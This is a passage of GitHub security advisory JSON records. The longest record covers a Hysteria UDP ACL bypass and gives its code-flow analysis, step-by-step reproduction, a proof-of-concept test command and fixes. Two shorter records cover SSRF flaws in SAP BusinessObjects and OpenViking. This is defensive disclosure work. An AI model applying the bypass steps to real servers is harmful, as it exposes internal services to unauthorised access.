relevant flow appears to be:\n\n- `core/server/udp.go:280-299`: when a new session is created, the first destination is passed through `m.io.Hook(...)`, logged, and then `m.io.UDP(addr)` is called once to create the outbound UDP connection.\n- `core/server/server.go:397-398`: `m.io.UDP(addr)` delegates to `io.Outbound.UDP(reqAddr)`.\n- `app/cmd/server.go:1187-1190`: resolver, ACL, and actual outbounds are intentionally chained through the `Outbound` interface.\n- `core/server/udp.go:125`: the initial outbound connection is created only from the first packet via `DialFunc(firstMsg.Addr, firstMsg.Data)`.\n- `core/server/udp.go:92-111`: later packets in the same session take the current packet address and directly call `e.conn.WriteTo(dfMsg.Data, addr)` without re-running ACL or outbound policy evaluation.\n\nIn other words, destination selection is packet-scoped, but authorization is session-scoped.\n\n## Impact\n\nAny authenticated client that is allowed to use UDP relay can:\n\n- open one UDP session using an allowed first destination;\n- reuse the same session to send packets to destinations that ACL should reject;\n- reach UDP services on `127.0.0.1` or on RFC1918/private-network addresses from the server\u0027s network perspective.\n\nIn real deployments, this can expose internal-only UDP services such as:\n\n- internal DNS resolvers;\n- service discovery endpoints;\n- telemetry or metrics listeners;\n- local administrative daemons;\n- application-specific UDP services intended to be reachable only from localhost or the internal network.\n\nThis breaks the server\u0027s documented ACL-based UDP egress restrictions.\n\n## Reproduction\n\nTwo cases were reproduced with integration tests.\n\n### Case 1: localhost bypass\n\nACL:\n\n```text\ndirect(127.0.0.1, udp/\u003callowedPort\u003e)\nreject(127.0.0.1/32)\n```\n\nSteps:\n\n1. Start one UDP echo service on `127.0.0.1:\u003callowedPort\u003e`.\n2. Start another UDP echo service on `127.0.0.1:\u003cblockedPort\u003e`.\n3. Connect an authenticated Hysteria client and create one UDP session.\n4. Send a packet to the allowed loopback destination to establish the session.\n5. Reuse the same UDP session and send a packet to the blocked loopback destination.\n\nObserved result:\n\n- The second packet is relayed successfully and the blocked loopback service replies.\n\nExpected result:\n\n- The second packet should be rejected because `127.0.0.1/32` is denied by ACL.\n\n### Case 2: private-network bypass\n\nACL:\n\n```text\ndirect(127.0.0.1, udp/\u003callowedPort\u003e)\nreject(10.0.0.0/8)\n```\n\nor the corresponding local RFC1918 range, such as `192.168.0.0/16` or `172.16.0.0/12`.\n\nSteps:\n\n1. Start one UDP echo service on `127.0.0.1:\u003callowedPort\u003e`.\n2. Start another UDP echo service on a real RFC1918 address of the server host.\n3. Connect an authenticated Hysteria client and create one UDP session.\n4. Send a packet to the allowed loopback destination first.\n5. Reuse the same UDP session and send a packet to the RFC1918 destination.\n\nObserved result:\n\n- The private-address packet is relayed successfully and receives a reply.\n\nExpected result:\n\n- The packet should be rejected by ACL.\n\n## PoC and local evidence\n\nA local integration test file was added during verification:\n\n- `core/internal/integration_tests/udp_private_acl_bypass_test.go`\n\nThe two tests are:\n\n- `TestClientServerUDPACLBYPASSLoopback`\n- `TestClientServerUDPACLBYPASSPrivateIPv4`\n\nThey can be executed with:\n\n```bash\ngo test ./core/internal/integration_tests -run \u0027TestClientServerUDPACLBYPASS(Loopback|PrivateIPv4)\u0027 -count=1\n```\n\nThe tests pass locally and demonstrate that a destination blocked by ACL becomes reachable after the session is established with an allowed first destination.\n\n## Suggested fixes\n\nAny of the following would address the issue:\n\n1. Re-evaluate ACL and outbound policy for every defragmented UDP packet before forwarding it with `WriteTo`.\n2. Alternatively, enforce a single immutable destination per UDP session and reject destination changes after the first packet.\n3. Ensure logging and policy hooks are aligned with the chosen model so that policy enforcement and observability reflect the real per-packet destination.\n\n## Severity assessment\n\nSuggested CVSS v3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L`\n\nThis reflects a network-reachable issue with low attack complexity, requiring only an authenticated client, no victim interaction, and allowing impact beyond the proxy process by exposing localhost and internal-network UDP resources from the server\u0027s trust boundary.",
  "id": "GHSA-vgrc-hq28-p3xp",
  "modified": "2026-06-26T19:48:50Z",
  "published": "2026-06-26T19:48:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apernet/hysteria/security/advisories/GHSA-vgrc-hq28-p3xp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apernet/hysteria"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hysteria has an authenticated UDP ACL bypass that enables localhost and private-network UDP SSRF"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-27271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "In SAP BusinessObjects Business Intelligence Platform (Web Services) - versions 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own admintools, leading to a high impact on availability.",
  "id": "GHSA-vh2w-9ggj-ccrm",
  "modified": "2023-03-21T18:30:20Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27271"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3287120"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-22681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T16:17:16Z",
    "severity": "HIGH"
  },
  "details": "OpenViking before 0.3.4\u00a0contains a server-side request forgery vulnerability that allows authenticated low-privilege attackers to access internal network services by submitting arbitrary URLs to the resources API endpoint. Attackers can POST a crafted URL to /api/v1/resources, causing the server to issue outbound HEAD and GET requests with redirects enabled to loopback, RFC 1918, link-local, or cloud metadata addresses, then read back responses through normal content APIs to enumerate and interact with internal services.",
  "id": "GHSA-vh5m-r6vp-rxjg",
  "modified": "2026-08-21T18:34:56Z",
  "published": "2026-08-21T18:34:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1133https://github.com/volcengine/OpenViking/pull/1133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/commit/41e345896d247e43ab78bbcb38b4a5b1b38ef62c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/releases/tag/v0.3.4"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openviking-ssrf-via-api-v1-resources"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}